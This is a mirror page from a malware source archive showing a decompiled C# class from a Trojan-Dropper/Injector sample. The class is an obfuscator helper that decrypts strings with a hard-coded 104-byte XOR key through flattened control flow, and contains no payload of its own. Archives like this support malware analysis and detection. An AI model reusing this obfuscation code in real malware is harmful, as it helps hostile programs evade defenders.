mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
170 lines
3.1 KiB
C#
170 lines
3.1 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: <CliSecureRT>
|
|
// Assembly: services, Version=1.0.0.0, Culture=neutral
|
|
// MVID: B65915CE-7F4E-49F3-904E-5AF96F36C4FD
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.ecsd-230c64225092a0fc11f7f5d052420a7356ed704e84d016bc8fde666e83b67e43.exe
|
|
|
|
using System;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
|
|
internal class \u003CCliSecureRT\u003E
|
|
{
|
|
private static byte[] \u003123 = new byte[104]
|
|
{
|
|
(byte) 212,
|
|
(byte) 155,
|
|
(byte) 171,
|
|
(byte) 28,
|
|
(byte) 163,
|
|
(byte) 90,
|
|
(byte) 207,
|
|
(byte) 47,
|
|
(byte) 66,
|
|
(byte) 203,
|
|
(byte) 157,
|
|
(byte) 130,
|
|
(byte) 115,
|
|
(byte) 64,
|
|
(byte) 205,
|
|
(byte) 188,
|
|
(byte) 100,
|
|
(byte) 32,
|
|
(byte) 251,
|
|
(byte) 31,
|
|
(byte) 183,
|
|
(byte) 206,
|
|
(byte) 245,
|
|
(byte) 94,
|
|
(byte) 24,
|
|
(byte) 60,
|
|
(byte) 253,
|
|
(byte) 70,
|
|
(byte) 167,
|
|
(byte) 20,
|
|
(byte) 203,
|
|
(byte) 206,
|
|
(byte) 148,
|
|
(byte) 122,
|
|
(byte) 19,
|
|
(byte) 64,
|
|
(byte) 105,
|
|
(byte) 5,
|
|
(byte) 201,
|
|
(byte) 180,
|
|
(byte) 166,
|
|
(byte) 79,
|
|
(byte) 48,
|
|
(byte) 93,
|
|
(byte) 119,
|
|
(byte) 253,
|
|
(byte) 38,
|
|
(byte) 58,
|
|
(byte) 111,
|
|
(byte) 251,
|
|
(byte) 27,
|
|
(byte) 58,
|
|
(byte) 1,
|
|
(byte) 107,
|
|
(byte) 134,
|
|
(byte) 5,
|
|
(byte) 164,
|
|
(byte) 77,
|
|
(byte) 4,
|
|
(byte) 103,
|
|
(byte) 92,
|
|
(byte) 137,
|
|
(byte) 135,
|
|
(byte) 46,
|
|
(byte) 0,
|
|
(byte) 205,
|
|
(byte) 237,
|
|
(byte) 248,
|
|
(byte) 44,
|
|
(byte) 141,
|
|
(byte) 83,
|
|
(byte) 94,
|
|
(byte) 85,
|
|
(byte) 71,
|
|
(byte) 119,
|
|
(byte) 104,
|
|
(byte) 158,
|
|
(byte) 152,
|
|
(byte) 230,
|
|
(byte) 26,
|
|
(byte) 21,
|
|
(byte) 194,
|
|
(byte) 214,
|
|
(byte) 171,
|
|
(byte) 248,
|
|
(byte) 144,
|
|
(byte) 205,
|
|
(byte) 41,
|
|
(byte) 242,
|
|
(byte) 14,
|
|
(byte) 154,
|
|
(byte) 28,
|
|
(byte) 0,
|
|
(byte) 98,
|
|
(byte) 88,
|
|
(byte) 29,
|
|
(byte) 198,
|
|
(byte) 2,
|
|
(byte) 92,
|
|
(byte) 168,
|
|
(byte) 16,
|
|
(byte) 45,
|
|
(byte) 14,
|
|
(byte) 224
|
|
};
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
static \u003CCliSecureRT\u003E()
|
|
{
|
|
}
|
|
|
|
internal static string cs([In] string obj0)
|
|
{
|
|
label_2:
|
|
int num = 3;
|
|
int index;
|
|
bool flag;
|
|
StringBuilder stringBuilder;
|
|
while (true)
|
|
{
|
|
switch (num)
|
|
{
|
|
case 0:
|
|
flag = index < obj0.Length;
|
|
if (true)
|
|
{
|
|
num = 1;
|
|
continue;
|
|
}
|
|
goto case 3;
|
|
case 1:
|
|
if (flag)
|
|
{
|
|
stringBuilder.Append(Convert.ToChar((int) obj0[index] ^ (int) \u003CCliSecureRT\u003E.\u003123[index % \u003CCliSecureRT\u003E.\u003123.Length]));
|
|
num = 2;
|
|
continue;
|
|
}
|
|
goto label_9;
|
|
case 2:
|
|
++index;
|
|
goto case 0;
|
|
case 3:
|
|
stringBuilder = new StringBuilder();
|
|
index = 0;
|
|
num = 0;
|
|
continue;
|
|
default:
|
|
goto label_2;
|
|
}
|
|
}
|
|
label_9:
|
|
return stringBuilder.ToString();
|
|
}
|
|
}
|